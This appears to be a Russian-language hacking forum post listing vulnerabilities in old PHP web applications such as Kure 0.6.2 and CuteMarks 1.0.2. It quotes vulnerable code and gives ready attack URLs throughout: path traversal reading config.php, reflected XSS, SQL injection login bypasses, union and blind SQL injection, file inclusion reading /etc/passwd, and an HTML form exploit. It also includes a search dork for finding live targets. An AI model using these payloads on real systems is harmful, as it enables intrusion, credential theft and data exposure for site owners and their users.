Читалка
/config.php

PHP код:

...$config['adminpass'] = "21232f297a57a5a743894a0e4a801fc3";... 


/index.php

PHP код:

.../***** VIEWPOST/VIEWDOC *****/
elseif(isset($_GET['post']) || isset($_GET['doc'])) { // if a post/doc has been requested
    if(isset($_GET['post'])) {
        $type = "post";
        $filename = $_GET['post'];
    } else {
        $type = "doc";
        $filename = $_GET['doc'];
    }
    plug($type, "top");
    if(!file_exists($type . "s/" . $filename . ".txt")) {
        print("The requested file <tt>" . $type . "s/" . $filename . ".txt</tt> does not exist.\n");
    } else {
        $file = $type . "s/" . $filename . ".txt";
        $title = $file;
        $title = str_replace($type . "s/", "", $title);
        $title = str_replace(".txt", "", $title);
        $uftitle = $title;
        $title = str_replace("_", " ", $title);
        $content = str_replace("\n", "<br>\n", file_get_contents($file));
        print("<table align=\"center\" width=\"90%\"><tr>\n");
        print("<td width=\"100%\">\n");
        print("<a class=\"blog_title\" href=\"?" . $type . "=" . $uftitle . "\" name=\"" . $title . "\">" . $title . "</a>\n");
        plug($type, "title_after");
        print("<br>\n");
        if(($type == "doc" && $config['docdates'] == true) || $type == "post") {
            print("<span class=\"blog_date\">" . date("F jS, Y", filemtime($file)) . "</span>\n");
            plug($type, "date_after");
            print("<br>\n");
        }
        print("</td></tr>\n");
        print("<tr><td width=\"100%\"><br>\n");
        print("<span class=\"blog_content\">\n" . $content . "\n</span>");
        plug($type, "body_after");
        print("<br><br>\n");
        print("</td></tr>\n");
        print("</table>\n");
    }
}... 


Result:
http://localhost/kure-0.6.2/index.php?post=../config.php%00

админко - admin/

пасивная XSS
/index.php

PHP код:

...plug($type, "top");
    if(!file_exists($type . "s/" . $filename . ".txt")) {
        print("The requested file <tt>" . $type . "s/" . $filename . ".txt</tt> does not exist.\n");... 


Result:
http://localhost/kure-0.6.2/index.php?post=%3Cscript%3Ealert%28123%29%3C/script%3E

Дорк: powered by kure

SQL ing
target: index.php
index.php

PHP код:

...if (!$staffid)
 {
    echo "<font size=2>Signup for an account <a href=\"signup.php\">here</a><br> if you dont already have one.\n";
    echo "<br><p>\n";
    echo "<form name=elform action=login.php method=post>\n";
    echo "<table cellpadding=0 cellspacing=0>\n";    
    echo  "<tr>\n";
    echo   "<td class=body>Username: </td>\n";
    echo   "<td><input type=text name=handle size=15></td>\n";
    echo  "</tr>\n";
    echo  "<tr>\n";
    echo   "<td class=body>Password: </td>\n";
    echo   "<td><input type=password name=password size=15></td>\n";
    echo  "</tr>\n";
    echo "</table>\n";
    echo "<br>\n";
    echo "<center><input type=submit value=Login></center>\n";
    echo "</form>\n";
 }... 


Обработчик формы: login.php

PHP код:

...include("./includes/inc.php");

$handle=cleanup($handle);
$password=md5($password);

$staffinfo=getrow("select id, handle, level
 from staff where handle='$handle' and status=7 and password='$password'");

$staffid=$staffinfo['id'];

if(!$staffid)
{
 header ("location:index.php?error=baddlogin");
 exit();
}

$staffname=$staffinfo['handle'];
$stafflevel=$staffinfo['level'];... 


includes/inc.php

PHP код:

include("./includes/bling_config.php");
include("./includes/functions.php"); 


include/blind_config.php

PHP код:

function getrows($query)
{
    $query=stripSlashes($query);

    if (!$result=mysql_query($query))
        die(deadjim(mysql_errno(), mysql_error(), $query));
    else
    {
        $row_array[0][0]=$rows=mysql_num_rows($result);

        $row_array[0][1]=$fields=mysql_num_fields($result);

        for ($i=1; $i<=$rows; $i++)
        {
            $row_array[$i]=mysql_fetch_array($result);
        }
        mysql_free_result($result);
    }
    return $row_array;
}... 


PHP код:

...function cleanup($copy)
{
    $copy=trim($copy);
    //$copy=htmlspecialchars($copy, ENT_QUOTES);
    //$copy=eregi_replace ("%", "%", $copy);
    //$copy=eregi_replace ("<", "&lt;", $copy);
    //$copy=eregi_replace ("&amp;", "&", $copy);
        //$copy=eregi_replace("&lt;b", "<b", $copy);
        //$copy=eregi_replace("&lt;/b", "</b", $copy);
        //$copy=eregi_replace("&lt;i", "<i", $copy);
        //$copy=eregi_replace("&lt;/i", "</i", $copy);
        //$copy=eregi_replace("&lt;u", "<u", $copy);
        //$copy=eregi_replace("&lt;/u", "</u", $copy);
        //$copy=eregi_replace("&lt;a", "<a", $copy);
        //$copy=eregi_replace("&lt;/a", "</a", $copy);
        //$copy=eregi_replace("&lt;img","<img", $copy);
    $copy=nl2br($copy);
    $copy=StripSlashes($copy);
    return($copy);
}... 


Result:
в поле с логином admin' or 1=1/*
пасс любой

ps
Скрипт древний, потому работает тока с rg=on
В гугле вроде ниче небыло по уязвимостям!

Blind SQL inj
(если условие верно, то редирект!)

link_href.php

PHP код:

include "./include/config.inc";
include "./include/cm_functions.inc";

#Get the superglobal variable(s) before using them:
$lnk_id = $_GET['lnk_id'];

# Make database connection and construct admin main screen
mysql_pconnect("$db_address:$db_port", $db_user, $db_password) or db_error;
mysql_select_db($db_name) or db_error;

# An empty database produces a special message
$sql = "SELECT lnk_url, lnk_hits FROM cm_links WHERE lnk_id=$lnk_id";
$return = mysql_query($sql) or db_error;
$row = mysql_fetch_array($return) or db_error;
$url = $row[0];
$hits = $row[1] + 1;
$sql = "UPDATE cm_links SET lnk_hits = $hits WHERE lnk_id=$lnk_id";
mysql_query($sql) or db_error;
header("Location: $url"); 


include/cm_functions.php

PHP код:

function db_error($exit_flag) {
  echo "A database error occured, please try again<br>";
  $exit_flag AND exit; 


Result:
http://localhost/cutemarks_1-0-2/link_href.php?lnk_id=[sql]
http://localhost/cutemarks_1-0-2/link_href.php?lnk_id=1+and+4=substring%28version%2 8%29,1,1%29--+

SQL inj

PHP код:

include "./include/config.inc";
include "./include/template.inc";
$lnk_id = $_GET['lnk_id'];

# Load the template, retreive information from the database and fill
# in the template
mysql_pconnect("$db_address:$db_port", $db_user, $db_password) or db_error;
mysql_select_db($db_name) or db_error;
$sql  = "SELECT lnk_parent_id, lnk_name FROM cm_links WHERE lnk_id = $lnk_id";
$result = mysql_query($sql) or db_error;
$row = mysql_fetch_array($result) or db_error;
$tpl = new Template("./$tpl_path", "remove");
$tpl->set_file("admin_move_lnk", "admin_move_lnk.tpl");
$tpl->set_block("admin_move_lnk", "cat_list", "foo");
$tpl->set_var(array ("CSS_FILE"        => $css_file,
                     "lnk_name"        => htmlentities($row[1]),
                     "node_exp"        => $node_exp,
                     "lnk_id"          => $lnk_id ));
$pID = $row[0];

# Create a pulldown form element with all available categories
$sql = "SELECT cat_id, cat_name FROM cm_categories ORDER BY cat_name";
$result = mysql_query($sql) or db_error;
while ($row = mysql_fetch_array($result)) {
  $tpl->set_var(array("cat_id"    => $row[0],
                      "cat_label" => $row[1]));
  if ($row[0] == $pID) {
    $tpl->set_var("cat_selected", "selected");
  } else {
    $tpl->set_var("cat_selected", "");
  }
  $tpl->parse("foo", "cat_list", TRUE);
}
$tpl->pparse("out", "admin_move_lnk"); 


Result:
http://localhost/cutemarks_1-0-2/admin_move_lnk.php?lnk_id=[sql]
http://localhost/cutemarks_1-0-2/admin_move_lnk.php?lnk_id=-1+union+select+1,version%28%29

Цитата:

You want to move the link "5.1.40-community" to a new category. Please choose one of the available categories from the list and submit the change.

SQL inj
admin_rename_cat.php

PHP код:

include "./include/config.inc";
include "./include/template.inc";

$cat_id = $_GET['cat_id'];
$node_exp = $_GET['node_exp'];

# Load the template, retreive information from the database and fill
# in the template
mysql_pconnect("$db_address:$db_port", $db_user, $db_password) or db_error;
mysql_select_db($db_name) or db_error;
$sql  = "SELECT cat_name FROM cm_categories WHERE cat_id = $cat_id";
$result = mysql_query($sql) or db_error;
$row = mysql_fetch_array($result) or db_error;
$tpl = new Template("./$tpl_path", "remove");
$tpl->set_file("admin_rename_cat", "admin_rename_cat.tpl");
$tpl->set_var(array ("CSS_FILE"        => $css_file,
                     "cat_name"        => htmlentities($row[0]),
                     "node_exp"        => $node_exp,
                     "cat_id"          => $cat_id ));
$tpl->pparse("out", "admin_rename_cat"); 


Result:
http://localhost/cutemarks_1-0-2/admin_rename_cat.php?cat_id=[sql]
http://localhost/cutemarks_1-0-2/admin_rename_cat.php?cat_id=-1+union+select+version%28%29--+
Дырявый как # дальше не хочеться смотреть!

../dbtest.php

Таким образом можно узнать префикс.

../admin/phpinfo.php
(права не нужны)

есть папка с именем forum, в ней лежат api для взаимодействия с установленными форумами, если же форумов нет, то выдаёт самые разнообразные ошибки(инклюд несуществующих файлов, ввызовы несуществующих функций) с раскрытием путей.

Список файлов:
../forum/smf_1-1_api.php
../forum/adminLogin.php
../forum/forum_db.php
../forum/myBB14_forum.php
../forum/myBB_forum.php
../forum/Phorum_forum.php
../forum/phpBB3_forum.php
../forum/phpBB_forum.php
../forum/smf11_forum.php
../forum/vBulletin_forum.php
../forum/userLogin.php

Также другие файлы:
../news.php?config[no_news]=asdf
../test.php
../chat/inc/cmses/osdateCMS_v25.php

../afflogin.php?errormsg=<sCript>alert(111);</sCript>

Отсутствует фильтрация.

../forum/adminLogin.php?config[forum_installed]=http://site/index.php%00
../forum/userLogin.php?config[forum_installed]=../../../../../../../../../etc/passwd%00

Code:

PHP код:

if ( $config['forum_installed'] == '' || $config['forum_installed'] == 'None' ) {
    include_once('None_forum.php');
} else {
    include_once($config['forum_installed'] . '_forum.php');
} 


Ранее уже выкладывалась.

Пассивная XSS:

Цитата:

/login.php?error=%3Cscript%3Ealert();%3C/script%3E

Auth ByPass
/login.php
В Anmeldename:
1' or 1=1 /*
Passwort:
12345
Exploit:

PHP код:

<form method="post" action="http://site.com/login.php">
<input name="name" type="text" value="1' or 1=1 -- " />
<input name="pw" type="password" value="Ulalala"/>
<input name="login" type="submit" value="Login" /> 


SQL Inj:

Цитата:

/bb/getfile.php?id=-1+union+select+1,2,3,4,5,6,7,8+--+

Code:

PHP код:

if(isset($_GET['id']) && isset($_SESSION['ID_user']))
{
    include_once('utils/dbcon.php');
    $con = new DBcon();
    $con->AddSQL("SELECT * FROM file ");
    $con->AddSQL("WHERE ID_file=".$_GET['id']);